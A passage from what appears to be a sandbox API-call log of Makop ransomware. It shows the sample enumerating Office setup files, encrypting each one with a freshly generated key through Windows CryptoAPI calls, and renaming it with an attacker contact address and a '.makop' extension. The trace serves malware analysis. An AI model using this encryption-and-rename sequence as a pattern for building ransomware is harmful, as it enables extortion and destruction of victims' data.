dwMoveMethod=0x65745c8 | out: lpNewFilePointer=0x0) returned 1 [0091.957] WriteFile (in: hFile=0x114, lpBuffer=0x65745d8*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x65745a8, lpOverlapped=0x0 | out: lpBuffer=0x65745d8*, lpNumberOfBytesWritten=0x65745a8*=0xc, lpOverlapped=0x0) returned 1 [0091.962] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x65745ac | out: phKey=0x65745ac*=0x48c71a8) returned 1 [0091.962] CryptSetKeyParam (hKey=0x48c71a8, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0091.962] GetProcessHeap () returned 0x48a0000 [0091.962] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x30) returned 0x48c3738 [0091.962] CryptEncrypt (in: hKey=0x48c71a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48c3738*, pdwDataLen=0x6574590*=0x30, dwBufLen=0x30 | out: pbData=0x48c3738*, pdwDataLen=0x6574590*=0x30) returned 1 [0091.962] CryptDestroyKey (hKey=0x48c71a8) returned 1 [0091.962] WriteFile (in: hFile=0x114, lpBuffer=0x48c3738*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x65745a8, lpOverlapped=0x0 | out: lpBuffer=0x48c3738*, lpNumberOfBytesWritten=0x65745a8*=0x30, lpOverlapped=0x0) returned 1 [0091.963] WriteFile (in: hFile=0x114, lpBuffer=0x65745b0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x65745a8, lpOverlapped=0x0 | out: lpBuffer=0x65745b0*, lpNumberOfBytesWritten=0x65745a8*=0x4, lpOverlapped=0x0) returned 1 [0091.963] WriteFile (in: hFile=0x114, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x65745a8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x65745a8*=0x10, lpOverlapped=0x0) returned 1 [0091.963] WriteFile (in: hFile=0x114, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x65745a8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x65745a8*=0x80, lpOverlapped=0x0) returned 1 [0091.963] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x65745d0 | out: lpNewFilePointer=0x0) returned 1 [0091.963] WriteFile (in: hFile=0x114, lpBuffer=0x65745c0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x65745a8, lpOverlapped=0x0 | out: lpBuffer=0x65745c0*, lpNumberOfBytesWritten=0x65745a8*=0x8, lpOverlapped=0x0) returned 1 [0091.964] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x65745ac | out: phKey=0x65745ac*=0x48c71a8) returned 1 [0091.964] CryptSetKeyParam (hKey=0x48c71a8, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0091.964] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0091.964] ReadFile (in: hFile=0x114, lpBuffer=0x6370020, nNumberOfBytesToRead=0x11644, lpNumberOfBytesRead=0x65745b4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x65745b4*=0x11644, lpOverlapped=0x0) returned 1 [0091.966] CryptEncrypt (in: hKey=0x48c71a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6574590*=0x11650, dwBufLen=0x11650 | out: pbData=0x6370020*, pdwDataLen=0x6574590*=0x11650) returned 1 [0091.967] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0091.967] WriteFile (in: hFile=0x114, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x11650, lpNumberOfBytesWritten=0x65745a8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x65745a8*=0x11650, lpOverlapped=0x0) returned 1 [0091.968] CryptDestroyKey (hKey=0x48c71a8) returned 1 [0091.968] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x11714, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0091.968] SetEndOfFile (hFile=0x114) returned 1 [0091.976] GetProcessHeap () returned 0x48a0000 [0091.976] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48c3738 | out: hHeap=0x48a0000) returned 1 [0091.976] GetProcessHeap () returned 0x48a0000 [0091.976] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0091.976] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OCT.CHM.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 147 [0091.976] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OCT.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\oct.chm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OCT.CHM.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\oct.chm.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0091.977] CloseHandle (hObject=0x114) returned 1 [0091.977] FindNextFileW (in: hFindFile=0x48c7168, lpFindFileData=0x6574620 | out: lpFindFileData=0x6574620*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe7c27050, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeefe5e10, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe7c27050, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x15b5, dwReserved0=0x0, dwReserved1=0x0, cFileName="OfficeMUI.XML", cAlternateFileName="OFFICE~1.XML")) returned 1 [0091.977] wsprintfW (in: param_1=0x6575070, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUI.XML") returned 106 [0091.978] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\officemui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0091.978] GetProcessHeap () returned 0x48a0000 [0091.978] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0091.978] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0091.978] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x65745c8 | out: lpNewFilePointer=0x0) returned 1 [0091.978] WriteFile (in: hFile=0x114, lpBuffer=0x65745d8*, nNumberOfBytesToWrite=0xb, lpNumberOfBytesWritten=0x65745a8, lpOverlapped=0x0 | out: lpBuffer=0x65745d8*, lpNumberOfBytesWritten=0x65745a8*=0xb, lpOverlapped=0x0) returned 1 [0091.982] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x65745ac | out: phKey=0x65745ac*=0x48c71a8) returned 1 [0091.982] CryptSetKeyParam (hKey=0x48c71a8, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0091.982] GetProcessHeap () returned 0x48a0000 [0091.982] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0091.982] CryptEncrypt (in: hKey=0x48c71a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6574590*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6574590*=0x40) returned 1 [0091.982] CryptDestroyKey (hKey=0x48c71a8) returned 1 [0091.982] WriteFile (in: hFile=0x114, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x65745a8, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x65745a8*=0x40, lpOverlapped=0x0) returned 1 [0091.982] WriteFile (in: hFile=0x114, lpBuffer=0x65745b0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x65745a8, lpOverlapped=0x0 | out: lpBuffer=0x65745b0*, lpNumberOfBytesWritten=0x65745a8*=0x4, lpOverlapped=0x0) returned 1 [0091.983] WriteFile (in: hFile=0x114, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x65745a8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x65745a8*=0x10, lpOverlapped=0x0) returned 1 [0091.983] WriteFile (in: hFile=0x114, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x65745a8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x65745a8*=0x80, lpOverlapped=0x0) returned 1 [0091.983] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x65745d0 | out: lpNewFilePointer=0x0) returned 1 [0091.983] WriteFile (in: hFile=0x114, lpBuffer=0x65745c0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x65745a8, lpOverlapped=0x0 | out: lpBuffer=0x65745c0*, lpNumberOfBytesWritten=0x65745a8*=0x8, lpOverlapped=0x0) returned 1 [0091.983] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x65745ac | out: phKey=0x65745ac*=0x48c71a8) returned 1 [0091.984] CryptSetKeyParam (hKey=0x48c71a8, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0091.984] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0091.984] ReadFile (in: hFile=0x114, lpBuffer=0x6370020, nNumberOfBytesToRead=0x15b5, lpNumberOfBytesRead=0x65745b4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x65745b4*=0x15b5, lpOverlapped=0x0) returned 1 [0091.985] CryptEncrypt (in: hKey=0x48c71a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6574590*=0x15c0, dwBufLen=0x15c0 | out: pbData=0x6370020*, pdwDataLen=0x6574590*=0x15c0) returned 1 [0091.985] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0091.985] WriteFile (in: hFile=0x114, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x15c0, lpNumberOfBytesWritten=0x65745a8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x65745a8*=0x15c0, lpOverlapped=0x0) returned 1 [0091.986] CryptDestroyKey (hKey=0x48c71a8) returned 1 [0091.986] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x1694, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0091.986] SetEndOfFile (hFile=0x114) returned 1 [0091.992] GetProcessHeap () returned 0x48a0000 [0091.992] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0091.992] GetProcessHeap () returned 0x48a0000 [0091.992] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0091.993] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUI.XML.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 153 [0091.993] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\officemui.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUI.XML.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\officemui.xml.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0091.994] CloseHandle (hObject=0x114) returned 1 [0091.994] FindNextFileW (in: hFindFile=0x48c7168, lpFindFileData=0x6574620 | out: lpFindFileData=0x6574620*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe7b68970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf2b422b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe7b68970, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x333, dwReserved0=0x0, dwReserved1=0x0, cFileName="OfficeMUISet.XML", cAlternateFileName="OFFICE~2.XML")) returned 1 [0091.994] wsprintfW (in: param_1=0x6575070, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUISet.XML") returned 109 [0091.994] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUISet.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\officemuiset.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0091.995] GetProcessHeap () returned 0x48a0000 [0091.995] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0091.995] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0091.995] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x65745c8 | out: lpNewFilePointer=0x0) returned 1 [0091.995] WriteFile (in: hFile=0x114, lpBuffer=0x65745d8*, nNumberOfBytesToWrite=0xd, lpNumberOfBytesWritten=0x65745a8, lpOverlapped=0x0 | out: lpBuffer=0x65745d8*, lpNumberOfBytesWritten=0x65745a8*=0xd, lpOverlapped=0x0) returned 1 [0092.000] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x65745ac | out: phKey=0x65745ac*=0x48c71a8) returned 1 [0092.000] CryptSetKeyParam (hKey=0x48c71a8, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0092.000] GetProcessHeap () returned 0x48a0000 [0092.000] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0092.000] CryptEncrypt (in: hKey=0x48c71a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6574590*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6574590*=0x40) returned 1 [0092.000] CryptDestroyKey (hKey=0x48c71a8) returned 1 [0092.000] WriteFile (in: hFile=0x114, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x65745a8, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x65745a8*=0x40, lpOverlapped=0x0) returned 1 [0092.000] WriteFile (in: hFile=0x114, lpBuffer=0x65745b0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x65745a8, lpOverlapped=0x0 | out: lpBuffer=0x65745b0*, lpNumberOfBytesWritten=0x65745a8*=0x4, lpOverlapped=0x0) returned 1 [0092.001] WriteFile (in: hFile=0x114, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x65745a8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x65745a8*=0x10, lpOverlapped=0x0) returned 1 [0092.001] WriteFile (in: hFile=0x114, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x65745a8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x65745a8*=0x80, lpOverlapped=0x0) returned 1 [0092.001] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x65745d0 | out: lpNewFilePointer=0x0) returned 1 [0092.001] WriteFile (in: hFile=0x114, lpBuffer=0x65745c0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x65745a8, lpOverlapped=0x0 | out: lpBuffer=0x65745c0*, lpNumberOfBytesWritten=0x65745a8*=0x8, lpOverlapped=0x0) returned 1 [0092.001] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x65745ac | out: phKey=0x65745ac*=0x48c71a8) returned 1 [0092.001] CryptSetKeyParam (hKey=0x48c71a8, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0092.001] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.001] ReadFile (in: hFile=0x114, lpBuffer=0x6370020, nNumberOfBytesToRead=0x333, lpNumberOfBytesRead=0x65745b4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x65745b4*=0x333, lpOverlapped=0x0) returned 1 [0092.002] CryptEncrypt (in: hKey=0x48c71a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6574590*=0x340, dwBufLen=0x340 | out: pbData=0x6370020*, pdwDataLen=0x6574590*=0x340) returned 1 [0092.002] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.002] WriteFile (in: hFile=0x114, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x340, lpNumberOfBytesWritten=0x65745a8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x65745a8*=0x340, lpOverlapped=0x0) returned 1 [0092.002] CryptDestroyKey (hKey=0x48c71a8) returned 1 [0092.002] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x414, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.002] SetEndOfFile (hFile=0x114) returned 1 [0092.013] GetProcessHeap () returned 0x48a0000 [0092.013] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0092.013] GetProcessHeap () returned 0x48a0000 [0092.013] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0092.013] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUISet.XML.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 156 [0092.013] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUISet.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\officemuiset.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUISet.XML.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\officemuiset.xml.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0092.015] CloseHandle (hObject=0x114) returned 1 [0092.015] FindNextFileW (in: hFindFile=0x48c7168, lpFindFileData=0x6574620 | out: lpFindFileData=0x6574620*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe164800, ftCreationTime.dwHighDateTime=0x1cac048, ftLastAccessTime.dwLowDateTime=0xeef4d890, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe164800, ftLastWriteTime.dwHighDateTime=0x1cac048, nFileSizeHigh=0x0, nFileSizeLow=0x2ed80, dwReserved0=0x0, dwReserved1=0x0, cFileName="OSETUPUI.DLL", cAlternateFileName="")) returned 1 [0092.015] wsprintfW (in: param_1=0x6575070, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OSETUPUI.DLL") returned 105 [0092.015] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OSETUPUI.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\osetupui.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0092.017] GetProcessHeap () returned 0x48a0000 [0092.017] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0092.017] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0092.017] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x65745c8 | out: lpNewFilePointer=0x0) returned 1 [0092.017] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x65745ac | out: phKey=0x65745ac*=0x48c71a8) returned 1 [0092.018] CryptSetKeyParam (hKey=0x48c71a8, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0092.018] GetProcessHeap () returned 0x48a0000 [0092.018] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0092.018] CryptEncrypt (in: hKey=0x48c71a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6574590*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6574590*=0x40) returned 1 [0092.018] CryptDestroyKey (hKey=0x48c71a8) returned 1 [0092.018] WriteFile (in: hFile=0x114, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x65745a8, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x65745a8*=0x40, lpOverlapped=0x0) returned 1 [0092.022] WriteFile (in: hFile=0x114, lpBuffer=0x65745b0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x65745a8, lpOverlapped=0x0 | out: lpBuffer=0x65745b0*, lpNumberOfBytesWritten=0x65745a8*=0x4, lpOverlapped=0x0) returned 1 [0092.022] WriteFile (in: hFile=0x114, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x65745a8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x65745a8*=0x10, lpOverlapped=0x0) returned 1 [0092.023] WriteFile (in: hFile=0x114, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x65745a8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x65745a8*=0x80, lpOverlapped=0x0) returned 1 [0092.023] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x65745d0 | out: lpNewFilePointer=0x0) returned 1 [0092.023] WriteFile (in: hFile=0x114, lpBuffer=0x65745c0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x65745a8, lpOverlapped=0x0 | out: lpBuffer=0x65745c0*, lpNumberOfBytesWritten=0x65745a8*=0x8, lpOverlapped=0x0) returned 1 [0092.023] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x65745ac | out: phKey=0x65745ac*=0x48c71a8) returned 1 [0092.023] CryptSetKeyParam (hKey=0x48c71a8, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0092.023] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.023] ReadFile (in: hFile=0x114, lpBuffer=0x6370020, nNumberOfBytesToRead=0x2ed80, lpNumberOfBytesRead=0x65745b4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x65745b4*=0x2ed80, lpOverlapped=0x0) returned 1 [0092.028] CryptEncrypt (in: hKey=0x48c71a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6574590*=0x2ed80, dwBufLen=0x2ed80 | out: pbData=0x6370020*, pdwDataLen=0x6574590*=0x2ed80) returned 1 [0092.030] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.030] WriteFile (in: hFile=0x114, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x2ed80, lpNumberOfBytesWritten=0x65745a8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x65745a8*=0x2ed80, lpOverlapped=0x0) returned 1 [0092.031] CryptDestroyKey (hKey=0x48c71a8) returned 1 [0092.031] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x2ee54, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.031] SetEndOfFile (hFile=0x114) returned 1 [0092.042] GetProcessHeap () returned 0x48a0000 [0092.042] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0092.042] GetProcessHeap () returned 0x48a0000 [0092.042] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0092.042] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OSETUPUI.DLL.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 152 [0092.042] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OSETUPUI.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\osetupui.dll"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OSETUPUI.DLL.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\osetupui.dll.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0092.043] CloseHandle (hObject=0x114) returned 1 [0092.043] FindNextFileW (in: hFindFile=0x48c7168, lpFindFileData=0x6574620 | out: lpFindFileData=0x6574620*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd4804a00, ftCreationTime.dwHighDateTime=0x1cab7c8, ftLastAccessTime.dwLowDateTime=0xef00bf70, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xd4804a00, ftLastWriteTime.dwHighDateTime=0x1cab7c8, 